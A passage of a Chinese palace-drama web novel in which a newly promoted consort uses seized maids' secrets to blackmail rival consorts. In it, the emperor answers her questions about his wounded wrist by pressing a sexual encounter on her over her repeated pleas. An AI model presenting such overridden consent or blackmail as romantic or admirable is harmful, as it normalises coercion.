这轻飘飘的话语,根本起不到安慰作用,倒像是把人的伤疤又揭开一次。 静安太妃强忍悲痛,对祁让说:“既然人都到齐了,就宣旨吧!” 祁让微微颔首应是,示意孙良言上前宣读圣旨。 众妃嫔见这架势,纵然不想承认,也无力阻挡,只能跪下听旨。 当听到“位同副后,统领六宫”这八个字时,所有人都忍不住想去看兰贵妃和贤贵妃的反应。 只是这个时候谁都不敢乱动,再想看也得忍着。 兰贵妃比所有人忍得都辛苦,双手撑在地上,指甲像刀尖一样刺进厚厚的波斯地毯,几乎要折断在里面。 贤贵妃则是一脸的欣慰,比她自己当了皇贵妃还要开心。 庄妃跪在两人旁边,心里的恐惧大过嫉妒。 昨天她还想着大家都是妃位,江晚余没资格抢她的孩子,谁承想仅仅过了一夜,江晚余就越级当上了皇贵妃。 自己给皇上生了大公主,活蹦乱跳地养到两岁多,得到的不过是个妃位,江晚余却凭借一个死孩子,一跃成为了贵妃。 皇上这心真是偏到南天门去了。 最让她心寒的是,她昨天那样的求皇上,皇上绝口没提江晚余今天要晋封的事,还叫她不要着急,再等等看。 结果她辗转反侧了一夜,等来的竟是江晚余晋位的晴天霹雳。 皇上什么意思,他不会真的为了弥补江晚余的失子之痛,要把嘉华送给江晚余抚养吧? 若果真如此,自己还活个什么劲儿,一头撞死得了。 思忖间,其他妃嫔已经起身面向晚余大礼参拜,祝贺她晋升。 庄妃忙也跟着众人麻木地行礼。 晚余静静站着,双手交握身前,不动声色地接受众人的参拜。 祁让和她并肩而立,像是在为她壮声势。 晚余穿着正青色的翟衣,衣身以金线绣九行翚翟纹,五彩雉鸡展翅欲飞,头上戴着九翟冠,金丝翟鸟口衔珠滴,两侧金凤簪垂东珠,额前蓝宝金钿映衬着她精致华美的妆容,珠玉生辉,威仪天成。 仿佛是为了衬托她,祁让今日没穿明黄,穿了一袭玄色织金宝石蓝缂丝滚边的龙袍,沉稳内敛,不怒自威,和晚余的装扮相得益彰。 虽然不是正式册封,却也极为隆重,点点滴滴的细节都显示出他的用心良苦。 至于晚余领不领情,他就不知道了。 他端着架子,用眼角余光偷看晚余,奈何晚余目不斜视,一个眼神都懒得给他。 祁让不免有些失落,等晚余开口叫众人平身后,便敛了神色,打着官腔为她的晋位做了一些补充说明,重点强调了她统率六宫的权力,让兰贵妃和贤贵妃今后好好辅助她打理六宫事宜。 从掌权人沦落为辅助者,只在瞬息之间,兰贵妃即便硬挤都挤不出一丝笑容。 所幸现在是梨月公主的丧期,不笑也没人挑她的理,她就僵硬着脸色应了声“是”,说回去就把手头的事务交接给晚余。 贤贵妃长年累月练出来的好心态,那笑容就像长在脸上似的,哪怕悲伤都带着笑模样。 她对晚余说了些恭喜的话,说晚余做皇贵妃是众望所归,自己一定会尽心尽力协助她管好六宫。 晚余不咸不淡地应付了两句,跪在地上给静安太妃行礼,聆听静安太妃的教诲。 静安太妃看着她,目光慈祥又不失威严:“宫中暂无皇后,你既晋了皇贵妃,便是后宫之首,宫中妃嫔皆以你为表率。 你要谨言慎行,恪尽职守,宽和待下,恭敬事上,尽心为皇帝管理好后宫,后宫安宁,皇帝才能专心朝政。 另外,皇嗣血脉关乎国本,你既居高位,更要调和六宫,劝谏皇帝雨露均沾,皇帝子嗣繁盛,方可江山稳固,国运昌隆。” 说罢又看向祁让:“这话不仅她要牢记,你也要牢记,一切以国本为重,切不可再任性妄为,独宠一人而冷落后宫。” 后宫众人憋屈了半天,终于听到一句对她们有利的话,齐刷刷向祁让看过去。 就连晚余都偏头看了祁让一眼。 祁让尴尬地清了清嗓子:“多谢太妃教诲,朕记下了。” 静安太妃说:“光记下没用,你要有实际行动,要雨露均沾,知道吗?” 祁让:“……知道了。” 静安太妃看他那窘态,忍不住想笑,当着众人的面也不能说得太多,便饶过他,让大家坐下说话。 因着心疼晚余,就让晚余坐在她身边,拉着晚余的手温声道:“你封了皇贵妃,按规制,吃穿用度,各样份例,以及宫女太监都要添加,只是眼下正赶上过年,很多事都准备的不周全。 你缺什么短什么就和哀家说,哀家先临时给你凑一凑,等过完年行了册封礼,再给你细细安排。” “多谢太妃。”晚余说,“吃穿用度本就很好,不用急着添加,只是我宫里无人可用,急需增加些人手。” “这倒也是。”静安太妃说,“哀家听闻你跟前就剩下紫苏和胡尽忠了,这两个人怎么周转得开,皇帝也是……” 说着就去责怪祁让,被晚余出声拦住:“这事也不能怪皇上,宫里已经将近四年没选秀,每年又要按例放一批宫女出宫,各处人手都很吃紧,内务府也没什么闲人可调派了。” 祁让闻言一怔,没想到她竟然主动替自己开脱。 转念一想,这可不是她的性子,她没准儿又在铺垫什么。 正想着,就听晚余接着道:“臣妾想着,年前事忙,分了新人过来,毛手毛脚的干不好活,还要费心调教,倒不如从东西十二宫各抽调一个机灵能干的老人儿先给我用着。 这样一来,我有了足够的人手,姐妹们少一个人也不至于周转不开,等回头开了春选了秀,再给姐妹们把缺的人手补上,不知皇上和太妃以为如何?” 此言一出,殿中所有人都变了脸色。 静安太妃一时没转过弯来,祁让看向晚余的目光已经变得意味深长。 每个宫里都要一个人过来,只怕她不是单纯的要人,而是要从那些人嘴里挖出些什么。 各宫主位也不是傻子,谁会愿意把自己的人给她。 她有徐清盏那样的刑讯高手,自己的人到了她手里,还有什么秘密能守得住? 第341章 再宠爱她也该有个限度 各宫的主位全都慌了神,谁也没想到晚余竟然会提出这样的要求,还是当着皇上和静安太妃的面。 她只是从每个宫里借一个人用,不给的话显得她们小气,给的话只怕会夜夜失眠,做梦都担心自己的秘密会被泄露。 这可如何是好? 令人窒息的沉默中,贤贵妃先开了口:“妹妹封了皇贵妃,我正愁着送个什么贺礼给你呢,既然你现在最缺人手,那我就把我跟前最得用的拾翠送给妹妹吧,还望妹妹不要嫌弃。” “多谢姐姐。”晚余说,“拾翠是姐姐贴身的大宫女,姐姐愿意割爱,可见姐姐待我一片真心,我感谢都来不及,怎么会嫌弃。” “妹妹不嫌弃就好。”贤贵妃转头看向侍立在自己身后的拾翠,“你等会儿就跟着皇贵妃去承乾宫吧,你的东西本宫让人收拾好了给你送去,你要尽心尽力服侍皇贵妃,不能给本宫丢脸,知道吗?” “是,奴婢遵旨。”拾翠虽然有点懵,还是飞快地答应下来。 其余妃嫔一看这架势,脸都绿了。 她们本想着实在躲不过的话就打发一个最不得用的宫女过去呢,没想到贤贵妃一上来就把自己的大宫女送了出去。 她出手这么大方,叫她们怎么办? 难道也要把自己的大宫女送出去吗? 那样的话,不等于把自己的秘密打包送给江晚余了? 贤贵妃可真行。 坑死人不偿命啊这是。 正郁闷呢,静安太妃发话了:“既然大家都出一个人,哀家就把周嬷嬷送给你使唤吧,周嬷嬷跟了哀家多年,最是沉稳可靠,正好帮你管理这些丫头,免得她们不听话。” “……” 各宫妃嫔差点没疯。 刚还说贤贵妃送大宫女不合适呢,静安太妃直接把周嬷嬷都送出去了。 下一步,皇上是不是要把孙良言也送到承乾宫去? 干嘛呀这是,江晚余不就没了一个孩子吗,这是要阖宫上下把她当祖奶奶供起来吗? 晚余无视众人的脸色,直接看向庄妃,半真半假道:“姐姐宫里要是人手不够,把嘉华送去陪陪我也好。” “够够够,我正嫌我那边人太多呢!”庄妃心惊肉跳,来不及思考,随手拉过自己的贴身宫女说,“我宫里就玉蝉最机灵能干,我就把她送给妹妹吧!” 晚余欠了欠身:“多谢庄妃姐姐割爱。” 庄妃脸都白了,一颗心直往嗓子眼蹦,只要别要她的孩子,别说割爱,割肉她都愿意。 有了这三个人带头,其余各宫主位再没什么好说,一人送了一个得用的宫女给晚余,就连乌兰雅也不例外。 兰贵妃感觉晚余这一招明显是冲她来的,可别人都送了,她不送也说不过去,权衡再三,送了一个二等宫女给晚余。 反正谁也没规定非要送大宫女,她犯不着为了讨好江晚余和别人攀比。 别人见她这么刚,又都开始后悔,早知道这样能行,她们也送个不要紧的了。 真是被贤贵妃带偏了。 几个低位妃嫔见此情形,头一回因为自己位分低感到庆幸。 虽说她们也未必就干过什么坏事,但总有些小秘密是不想让人知道的。 把一个知道自己秘密的人送到别人身边,光是想想都要睡不着觉。 晚余的目的达成,转头看向祁让:“皇上不送个什么给臣妾吗?” 祁让:“……” 他不是已经把皇贵妃之位送她了吗? 她还想要什么? 总不能要孙良言吧? 一山不容二虎,承乾宫有一个胡尽忠还不够吗? 再多一个孙良言有什么用? “你想要什么?”祁让反问她。 晚余摇摇头:“臣妾只是随口一问,既然皇上想不出来,说明在皇上眼里臣妾什么都不缺。” 祁让:“……朕不是这个意思。” 晚余说:“皇上不用解释,臣妾都明白。” 祁让:“……” 不是,她明白什么了? 她该不会以为他不想给她吧? 可她也没说她要什么呀? 晚余说:“皇上要是过意不去,就赐臣妾一个可以随时出入乾清宫不用通传的特权吧!” 众妃嫔一听全都瞪大了眼睛,视线在两人之间来回扫视,既不敢相信晚余会提出这样荒唐的要求,也不相信祁让会真的答应她。 乾清宫是什么地方,岂容她一个后宫妃嫔随意来去? 皇上就算再宠爱她,也该有个限度吧? 祁让也没想到晚余会提出这样的要求,皱眉沉思一刻,问她:“为什么要这个?” “因为臣妾不想等。”晚余说,“臣妾想见皇上的时候,一刻都等不得。” 她说得面无表情,祁让的心却扑通扑通快跳了几下,严重怀疑是不是自己的耳朵出了问题。 她在说什么? 她怎么能当众说出这样的话? 看来她情志失常真的很严重。 “皇上不同意?”晚余的唇角向下压了压,“看来皇上对臣妾的偏爱不过如此。” “朕答应你。”祁让飞快说道,仿佛慢一息就会后悔。 短短的四个字,听在众妃嫔耳中如同闷雷滚过。 只有静安太妃笑得眼睛都眯起来。 什么皇帝皇贵妃,在她老人家看来,就是两个别扭孩子。 晚余目的达成,向祁让道谢,辞别了静安太妃,满意而归。 快中午的时候,各宫送的宫女都拎着包袱来承乾宫报到。 晚余没见她们,直接把她们交给了来喜和胡尽忠,叫两人负责审问她们,让她们把知道的事情全都说出来,但又不给出明确的方向,唯一的要求就是事无巨细。 来喜是徐清盏的干儿子,深得徐清盏的真传,再加上一个诡计多端,巧舌如簧的胡尽忠,两人软硬兼施,威逼利诱,三天时间,就把这些人肚里的东西榨得一干二净。 除了自家主子的秘密,连哪个宫女和哪个太监对食,哪个人哪年哪月偷了谁几个铜板都交代完了。 各宫妃嫔这三天没一个人能睡得安稳,明里暗里派人去承乾宫打听消息,却是什么也打听不出来。 大家约着去给晚余请安,也被晚余以身子不爽利为由拒之门外。 第四天是除夕,宫里今年不办宫宴,祁让下令各人在各人宫里守岁,无事不得外出,更不许饮酒嬉闹 他自己也没有去任何妃嫔那里,独自待在乾清宫过年。 入夜时分,晚余提着一食盒饺子,让胡尽忠陪她去了乾清宫。 到了日精门外,被两个守门的侍卫拦住。 “瞎了你们的狗眼,也不看看你们拦的是谁。”胡尽忠指着两人破口大骂,“皇上亲口应允我家娘娘可以自由出入乾清宫无须通传,你们两个狗东西是想抗旨吗?” 两人大过年的挨了一顿骂,二话不说就放了晚余进去。 晚余提着食盒,一路畅通无阻地到了正殿。 因着是除夕,正殿各个屋子都点了灯,殿门外守着两个小太监,孙良言不在,小福子也不在。 看到晚余过来,两个小太监都吃了一惊,忙躬身给她行礼,其中一个问道:“皇,皇贵妃娘娘,您怎么来了?” “本宫亲手包的饺子,特地送来给皇上尝尝。”晚余边说边探头往殿里看,“皇上呢?” 两人神色慌张,彼此对望了一眼:“皇,皇上已经睡下了,娘娘要不明天再来。” “不是要守岁吗,怎么这么早就睡了?”晚余不信,提着食盒就往里走,“本宫来都来了,总要见皇上一面再走。” “娘娘。”两人忙伸手拦住她,“娘娘见谅,没有皇上的允许,您不能进去。” 晚余停下来,皱眉将两人上下打量:“门口的侍卫都不敢拦本宫,你们却这般推三阻四,莫非皇上不在宫里?” 两人脸色一变,齐齐摇头。 晚余蓦地沉下脸,端着皇贵妃的架子厉声道:“快说,皇上到底去哪了?” 第342章 死在你手里朕心甘情愿 两个小太监被晚余的气势震慑,诚惶诚恐地跪在地上给她磕头:“娘娘息怒,皇上,皇上真的睡了,皇上不许任何人打扰,请娘娘见谅。” 晚余半个字都不信,径直越过两人往里面走:“本宫现在怀疑你们二人给皇上做了什么手脚,再敢阻拦,别怪本宫不客气。” 两人平白被诬陷,吓得不轻,不知道该如何是好。 晚余趁他们犹豫的时间,迈过门槛往里面走。 这时,身后传来一声低沉威严的喝斥:“皇贵妃这是要做什么?” 晚余吃了一惊,回头就看到祁让高大的身影从西边廊庑走了过来。 小福子和孙良言一人一边跟着他,提着灯笼给他照亮。 他穿着一件鸦青色织金云龙纹常服,外罩雪貂毛领玄色鹤氅,冷峻的面容笼罩在暖黄的光晕里,威严中带着几许疲惫。 小福子和孙良言看到晚余都很惊讶,哈着腰给她行礼问安。 两个小太监原地掉转身子,手撑着地给祁让磕头:“皇上恕罪,皇贵妃娘娘非要进去,奴才拦她不住。” 祁让的手向下压了压,示意两人噤声,微眯着凤眸看向晚余:“不是叫你们各自在宫中守岁吗,怎么这么晚了还往外跑?” 晚余转过来对他福身一礼:“臣妾亲手包的饺子,送来给皇上尝尝,这两个奴才说皇帝已经就寝,怎么皇上却是从外面回来的?” 祁让的视线落在她手里的红木食盒上:“你大晚上过来,就是为了给朕送饺子?” “对呀!”晚余眨眨眼,认真道,“太妃说了,臣妾身为六宫之首,要多关心皇上,臣妾怕皇上一个人冷清,特地送了饺子过来,谁知皇上一点也不冷清,还有闲情雅致往外跑,既然如此,臣妾就回去了。” 她说着就要走,经过祁让跟前,被祁让一把抓住了手腕。 “谁说朕不冷清了,朕冷清得很,饺子送来了,哪有再带回去的道理,朕走了一圈正好饿了,让朕尝尝你的手艺。” 晚余停下来看他:“皇上这是去了哪个姐妹宫里,竟然连口年夜饭都没吃上,难不成是被人撵回来的?” 祁让“哈”的一声笑出来,脸上的冷漠如冰雪消融,不由分说揽着她的肩就往东暖阁走:“除了你,谁敢撵朕,反了她了。” 晚余拧着身子挣了两下没挣开,只好由他揽着进了暖阁:“皇上到底去哪儿了?” 祁让默然一刻才道:“朕一个人无聊,去宝华殿给母妃上了炷香,和她说了会儿话。” “真的吗?”晚余不信,看向他的目光带着怀疑。 祁让说:“这又不是什么见不得人的事,朕有必要骗你吗?” “骗臣妾不是皇上的习惯吗?”晚余随口道,“皇上自个说要和臣妾坦诚相待,却从未兑现过。” “……” 祁让眸光闪动,不接她的话,自个解下鹤氅搭在衣架上,走到南窗下的炕上坐下,抖了抖袍角,食指轻敲炕桌,“快把你的饺子拿来给朕尝尝。” 晚余心想,他以前还解释一下,狡辩一下,现在竟是直接默认了。 看来他真的有事瞒着她。 就是不知道到底是什么事,让他大过年的还往外跑。 小福子领着两个小太监进来,送了茶水和洗手的热水棉帕。 晚余把手洗干净,这才从食盒里取出一碗饺子,放在祁让面前。 食盒有两层,铜做的内胆,下层装着开水,可以起到保温的作用。 祁让探头看了看,说:“挺沉的吧,累不累?” “累。”晚余转着手腕道,“他们不让臣妾进来,臣妾一直提着,手都累酸了。” 祁让挑眉看了她一眼,还以为她会说不累,没关系,没想到她直接说累。 她真的和从前不一样了。 “过来。”祁让冲她勾了勾食指,让她到自己跟前来,伸手拉过她的手,“朕给你揉揉。” 晚余没有躲闪,任由他抱着自己的手轻轻揉捏,视线有意无意看他的手腕。 他常服里面穿了窄袖的中衣,尽管手腕被遮盖得很严实,随着他揉捏的动作,还是隐约可以看到缠在手腕上的白布。 这都多少天了,怎么他的伤还没好? 如果真如他和孙良言所说是一点小伤,怎会拖了这么久都没有痊愈? 太医连这点小伤都治不好吗? “皇上。”晚余叫了他一声。 “何事?”祁让抬眼看她,手上仍旧不轻不重地给她揉捏。 晚余迟疑了一下,问他:“皇上真的没有事瞒着臣妾吗?” 祁让的动作一顿,随即又若无其事道:“你不是不关心朕吗,怎么朕出去一趟,你却问个没完?你……” 他故意拖着长音,幽深凤眸直视晚余的眼睛,语气多了几分戏谑:“你可别告诉朕,你现在开始喜欢朕了。” 晚余拉下脸,用力抽回手:“臣妾好多了,皇上快吃吧,一会儿就凉了。” 祁让手里一空,温软细腻的触感消失,心也跟着变得空落落。 感觉现在的她很像一条泥鳅,滑不溜秋的,随时都会从他手缝里溜走。 他定了定神,拿起筷子,夹了一只饺子送入口中。 饺子包成了元宝的形状,小巧玲珑的,刚好一口一个。 祁让嚼了两下,说:“是三鲜馅的?” “嗯,好吃吗?”晚余隔着炕桌在他对面坐下。 祁让点点头:“好吃,只要是你包的,鹤顶红馅的都好吃。” 晚余:“……皇上该叫试膳太监先试一下的,万一真有鹤顶红呢?” “那朕也认了。”祁让幽幽道,“人总归要死的,死在你手里,朕心甘情愿。” 晚余很是无语:“大过年的,皇上不要说不吉利的话。” “怎么,你不想朕死?”祁让自嘲一笑,笑容落寞,“你不该是这世上最恨不得朕死的人吗?” 第343章 朕有一个条件 这话晚余没法接,只能保持沉默。 祁让又夹起一只饺子,问她:“你知道去年的除夕,朕是怎么过的吗?” 晚余摇摇头:“臣妾不知。” 祁让定定看她:“去年的除夕,朕在承天殿大宴群臣,朕喝多了,回到乾清宫,孙良言也送了一碗饺子给朕吃,说什么新旧交替,辞旧迎新。 朕没吃,朕把碗摔了,因为朕不想让旧的走,也不想让新的来。 朕躺在床上,你的骨灰就放在床尾的衣柜里,朕以为,这辈子再也见不到你了。 朕以为,那将是朕这辈子最难过的一个除夕,没想到那只是个开始……” 他说着说着,嗓音变得哽咽,眼圈隐隐泛红。 晚余看着他,心密密麻麻地疼了起来。 她知道他是在说梨月。 “皇上若真心疼梨月,为什么不把害她的人找出来,为她讨回公道?” 祁让静默了几息,低下头,继续吃饺子。 晚余伸手抓住了他的手,眼中泪光盈盈:“皇上到底在顾虑什么,事情都这样了,您还有什么不能告诉臣妾的?” 祁让的目光落在她手上。 她抓他抓得那样用力,用力到骨节泛白,微微发颤。 他的心也跟着一颤一颤的。 “朕说过,没有人害梨月,是你想多了。” “不可能,你骗人!”晚余忽地拔高声调,冲他喊道,“我都查出来了,是兰贵妃干的,我不信你会不知道,你就是不想管,你就是想包庇她,端妃的孩子也是被她害死的,你现在对梨月,就像对端妃的孩子一样,你不是不知道,你是不想管……” 她像是发了疯,情绪一下子激动起来。 祁让忙放下筷子,绕到她这边将她抱住:“晚余,你别急,你冷静一点,这样对你身体不好……” “不好就不好,我早就好不了了。”晚余说,“我已经这样了,还要怎么好,我现在就想让害死梨月的人血债血偿。” “好好好,你想怎样就怎样,好吧,朕不拦着你,只要你好好的,想杀谁都行,好不好?”祁让更紧地抱着她,一只手在她后背频频拍抚。 晚余恨上来,张口咬在他肩口,恨不得咬下他一块肉来。 祁让疼得闷哼出声,只能咬牙强忍着。 过了一会儿,晚余松了口,趴在他肩上呜呜地哭起来。 小福子听到动静,站在门口探头往里看。 祁让指了指御药房的方向,对他无声地说了一句“请太医”。 小福子会意,转身跑了出去。 祁让像哄孩子一样把晚余搂在怀里拍哄,嘴里发出“哦哦哦”的声音。 晚余想起以前他在承乾宫哄梨月睡觉时也是这样,不由得悲从中来,哭得更加伤心。 过了一会儿,小福子领着御药房的太医过来,在门口禀道:“皇上适才说吹了风有些头疼,奴才请太医来给皇上诊个脉,不知皇上可方便?” 祁让便拍了拍晚余的后脑勺,在她耳边轻声哄她:“等会儿再哭好不好,你现在都是皇贵妃了,让太医看到你哭鼻子多丢人呀!” 晚余止住眼泪,从他怀里退出来。 祁让帮她把脸上的泪擦去,又帮她把头发整理了一下,说:“要不你拿帕子把脸挡上,太医问你是谁,朕就说你是乌兰雅,要丢人也是丢她的人。” 晚余没忍住,噗嗤一声破涕为笑。 祁让也笑了,坐回到自己那边,挺直腰背,整了整衣袍,这才让太医进来。 太医给祁让诊了脉,说他确实受了些风寒,回去给他开个方子调理一下。 祁让就随口道:“那你顺便给皇贵妃也把个脉,朕瞧着她气色不怎么好。” 晚余说:“不用了,臣妾喝着药呢,陈院判开的方子,补气血的。” 她刚哭过,说话还带着些哭腔。 祁让说:“诊个脉又不费什么事,反正太医来都来了。” 晚余推辞不过,只好听从他的安排。 太医细细诊过,说没什么大碍,就是气血不足,有些体虚,让她回去接着喝陈院判开的药即可。 祁让唯恐晚余情志失常的症状加重,听太医说没有大碍,这才放下心来。 晚余经过这一番折腾,情绪慢慢平复下来,等太医走后,从袖袋里掏出几张纸递到祁让面前。 “臣妾不是平白冤枉兰贵妃的,这是臣妾搜集的证据,有的是徐清盏和贤贵妃帮忙查到的,有的是臣妾让来喜和胡尽忠从那些宫女口中审问出来的,还有的是庄妃和别的妃嫔提供的。 兰贵妃专横跋扈,心肠歹毒,不仅害死了端妃和臣妾的孩子,还虐杀宫人,借管理六宫之便中饱私囊,替她父亲打探皇上的行踪。 她父亲在朝中结党营私,收受贿赂,她兄长在西南克扣军饷,拥兵自重,还曾和长平王私下往来,就连她家的家奴都有欺男霸女,强占民宅的恶行,请皇上过目。” 祁让眉心微蹙,拿起那几张纸细细翻看:“徐清盏和贤贵妃也就算了,别的妃嫔为什么帮你?” 晚余说:“因为来喜和胡尽忠掌握了她们一些不可告人的秘密,臣妾就拿这些秘密威胁她们,她们要是不帮我,我就把她们的秘密抖搂出来,她们没办法,只能发动她们所有的关系来帮我查证。” “……”祁让像看怪物似的看了她一眼,“那庄妃呢?你一开始不是怀疑她吗,她为什么帮你?” “她不帮我,我就把嘉华接到承乾宫去。”晚余理直气壮道,“皇上说不是她,我愿意相信皇上,可她魏氏一族那么庞大的关系网,总得帮我干点什么。” “……”祁让看她的眼神更加古怪。 “皇上看什么?”晚余问他,“皇上还是不相信臣妾吗?” “不是。”祁让将那几张纸卷起来,敲打着桌面控诉她,“说什么怕朕大过年的一个人太冷清,专程来给朕送饺子的,朕就知道你没这么好心。” 晚余:“……这重要吗?” “怎么不重要?”祁让看着碗里剩下的几个饺子,“你要早这么说,这饺子朕坚决不吃。” “可皇上已经吃了。”晚余说,“拿人手短,吃人嘴软,皇上吃了臣妾的饺子,就得给臣妾行方便。” “行什么方便?”祁让挑眉,“你该不会想拿饺子换人头吧?” “那皇上换不换?”晚余反问。 祁让又把那几张纸摊开,指给她看:“这些都是你听来的,或者别人打听来的,还不能算作切实证据,光凭这些是没办法给人定罪的。” “定不了罪,至少可以抓起来审一审吧?”晚余目光灼灼看着他,不容他回避,“兰贵妃的父兄臣妾没资格审,审她本人还是有资格的吧?” 祁让见她一副不达目的不罢休的架势,抬手捏了捏眉心:“此事非同小可,你确定你能做到绝对的公正吗?” 晚余想了想,说:“臣妾可以和静安太妃一起审理,还可以叫上东西十二宫的主位妃嫔去旁听。” 祁让摇头:“不行,静安太妃疼爱你,那些人有把柄在你手里,肯定也会偏向你。” 晚余顿时冷下脸:“皇上想包庇兰贵妃就直说,何必找这么多借口。” “朕说的是事实。”祁让摊手,“你若连这话都听不进去,又怎能做到公平客观。” 晚余无法反驳,问他:“那怎么办?” 祁让清了清嗓子,正色道:“朕可以陪你一起审理,但朕有个条件。” “什么条件?”晚余问。 祁让深深看她,眸光幽暗:“朕想要你留下来陪朕……守岁。” 第344章 听话,别闹 晚余答应了祁让的请求,让小福子去和胡尽忠说一声,看他是想留在这边,还是回承乾宫和大伙一起玩。 小福子领命而去,祁让看着晚余酸溜溜道:“你如今对胡尽忠都这么好了吗?” 晚余也看着他:“皇上如今连胡尽忠的醋都吃吗?” 祁让哼笑一声,嘴硬道:“他也配?” 晚余说:“配不配的臣妾不知道,反正谁对我好,我就对谁好,仅此而已。” “朕对你不好吗?”祁让说,“朕就差把命给你了。” 晚余扯了扯唇:“大过年的臣妾不想翻旧账,认真论起来,皇上还差点要了臣妾的命呢,皇上就算把命给我,那也是以命偿命。” “……”祁让噎住,心说她情志失了常,口齿倒是越发的伶俐,比起从前,整个一混不吝,道理都不讲了。 可是,一个不讲道理的女人,为什么他还觉得挺可爱? 可见他也是疯了。 疯的无药可救。 守岁总要做点什么,两人这么干坐着斗嘴不是办法。 祁让想了想,提议道:“朕许久没下棋了,你陪朕下两盘可好?” 晚余点头表示同意。 祁让便叫人收拾了炕桌,沏上龙井茶,点上龙脑香,摆上一套紫檀木配黑白水晶的棋盘棋子,两人相对而坐,开始了无声的厮杀。 下棋是件很耗费心神的事,高手对决,有时几个时辰都分不出胜负。 奈何晚余不是高手,半个时辰就败了三回。 她对下棋也不感兴趣,之所以答应祁让,纯粹就是因为下棋不用说话。 她不想费心应付祁让,也不想大过年的一言不合又和他吵起来。 祁让之前没有和晚余下过棋,见她答应的爽快,还以为她棋艺高超,谁知竟是个臭棋篓子。 下的不好也就算了,下着下着还打起了瞌睡,到最后直接托着脑袋睡了过去。 祁让以为她在思考,半天没见动静,定睛一看人都已经睡熟了。 祁让颇为无奈,放下棋子嘟哝道:“白瞎了朕的上等龙井和龙脑香。” 这么提神的好东西,在她这里起到的竟是催眠的作用。 祁让叹口气,抱起她去了寝殿。 这几天她稍微长了些肉,但还是轻得很,祁让抱着她,几乎不费什么力气。 到了寝殿,祁让把她放在龙床上,亲自动手为她宽衣。 她实在虚弱,睡过去就醒不来的样子,怎么摆弄都无动于衷。 祁让不禁一阵心疼。 她拖着这样一副病弱的身体,还要耗费心神查找真相,怎能不身心俱疲? 可他又不能阻止她,对于现在的她来说,查找真相,就是她活着的所有意义。 他有时候真的很怕她查清真相之后,会一下子失去目标,失去继续活下去的动力。 所以他尽可能地拖延时间,希望她能在这个过程中尽快好起来,哪怕不能痊愈,至少不要像现在这么脆弱易碎。 从前,她的坚强不屈让他恨得牙痒,现在,他很怀念那个坚强不屈的江晚余。 如果她能回到原来的样子,他愿意用任何东西交换。 祁让脱下自己的衣服,换了寝衣,上床将晚余搂进怀里。 他想了一下,晚余上一次睡在龙床上,还是他生辰的时候。 那时的他,正在为黄河水患日夜操劳,晚余虽然恨他,不待见他,还是耐着性子陪了他两天,最后还被他撵走了。 因为中山王和长平王利用黄河水患造她和孩子的谣,徐清盏不敢告诉她,他察觉到事情不对,就假装发脾气把她撵回了承乾宫。 她总说他对她不够坦诚,但很多时候,他真的是出于保护她的目的,才对她撒一些不得已的谎。 或许她不能接受,但在那个当下,那是他认为对她最好的保护。 沈长安说,她不喜欢被蒙在鼓里,哪怕是为她好,也不要那样做。 可是这一回,沈长安也没再坚持告诉她真相。 如果有一天,她发现他们三个人共同蒙骗了她,会是什么样的反应? 祁让不敢想,闭上眼睛,把晚余瘦弱的身子用力抱紧,像是溺水之人抱住一块浮木。 或许他会靠着她得救,或许会和她一起沉没,现在的他,也不知道命运的洪流最终会将他们带往何处。 “晚余。”他蹭着她柔软的头发,喃喃叫她的名字。 直到现在,他仍然坚定不移地认为,他们才是最契合的一对。 就连名字都是那样的般配。 奈何这只是他的一厢情愿,晚余根本不这么认为。 他抱着她,几乎舍不得睡去。 与其说是守岁,不如说是守她。 如果有可能,他想就这么守她一辈子。 可是,这个愿望能实现吗? 祁让胡乱想着,终究还是抵不住汹涌而来的睡意,迷迷糊糊睡了过去。 不知过了多久,他感觉到一些异常的动静,费力睁开眼,就看到晚余跪坐在他身边,将他的左手抱在怀里,脸上表情十分震惊。 祁让心下一沉,瞬间睡意全无,抽出手坐了起来:“你干什么?” 晚余吓得一个激灵,随即就冷静下来,伸手去抓他那只手:“皇上手上的伤究竟怎么来的,怎么会有那么多道口子,结痂的程度还都不一样。” “没怎么,就是一点小伤。”祁让躲开她的手,把那只手臂背到身后。 “臣妾都看到了,皇上还有什么好藏的。”晚余不肯罢休,凑过去抱住他,双手往他身后抓,非要把他那只手拽出来。 “别闹,真没事儿。”祁让反抱住她,以绝对性的力量把她压倒在床上,那只手垫在她后腰上,威胁道,“朕说了没事,你别闹了啊,再不听话朕就亲你了。” 晚余被他压在身下,近距离凝视他的眼睛,从他幽深的眼底发现一抹慌乱。 “你慌什么,你告诉……唔……” 话没说完,祁让的吻就落下来,将她剩余的话堵在嘴里。 “别……”晚余用力推他,想叫他停下来。 祁让非但没停,反而趁机长驱直入,向她展开强势的掠夺。 他想她早就想疯了,先前念及她身子虚弱,一直强忍着,这会子不得已开了头,便如同洪水决了堤,一发不可收拾。 晚余被他亲得上气不接下气,很快就顾不上再管他手上的伤,一心只想着怎样让他停下来。 推来搡去,非但没有能阻止他,自己身上的衣服反倒被他剥得干净。 第345章 让朕抱一抱 晚余慌了神,在他身下哀求:“皇上饶命,臣妾错了,臣妾不问了,臣妾再也不问了,臣妾现在还不能侍寝……” 祁让已经到了箭在弦上,不得不发的地步。 他知道她现在的身体状况承受不住,可他实在憋得难受。 “乖,朕以前教过你的,你都忘了吗?”他难耐地亲吻她,咬她的耳垂,热气冲入她耳孔。 晚余涨红了脸,努力回想他从前教她的那些招数,从天蒙蒙亮到天光大亮,使出了浑身解数,才终于制服那条作妖的恶龙。 两人气喘吁吁倒在床上,一时竟分不清到底谁更辛苦。 晚余像是打了一场硬仗,浑身酸软无力,累到眼睛都睁不开。 祁让趁机又把那只受伤的手腕缠起来。 见晚余明明没有实际体验,却一副饱受摧残的可怜样儿,伸手怜惜地将她拥入怀中,亲吻她颤抖的长睫,手指一路向下:“换朕来伺候你好不好?” “不要。”晚余一把抓住他的手,发现他的手腕已经缠起,又忍不住问他,“你到底……” “朕看你是累得轻。”祁让立刻又要行动。 “别,我不问了。”晚余连忙求饶。 祁让搂着她,嗓音沙哑道:“有些事还没到告诉你的时候,你不要瞎打听,时候到了,朕自然会和你说的。” 晚余撇撇嘴:“臣妾不过白问一句,皇上不说算了,反正受伤的是皇上,疼的也是皇上。” 祁让嗯了一声:“对,就让朕疼,朕活该。” 晚余看了他一眼,越发觉得他古怪。 为免他又发疯,决定先不理会,等回去后找机会问问徐清盏。 徐清盏应该能知道是怎么回事。 这时,小福子在寝殿门外叫祁让:“皇上,天亮了,您要去给静安太妃拜年,各宫的娘娘小主也要给您拜年。” “知道了。”祁让答应一声,又吩咐道,“去叫承乾宫的宫人过来服侍皇贵妃更衣。” 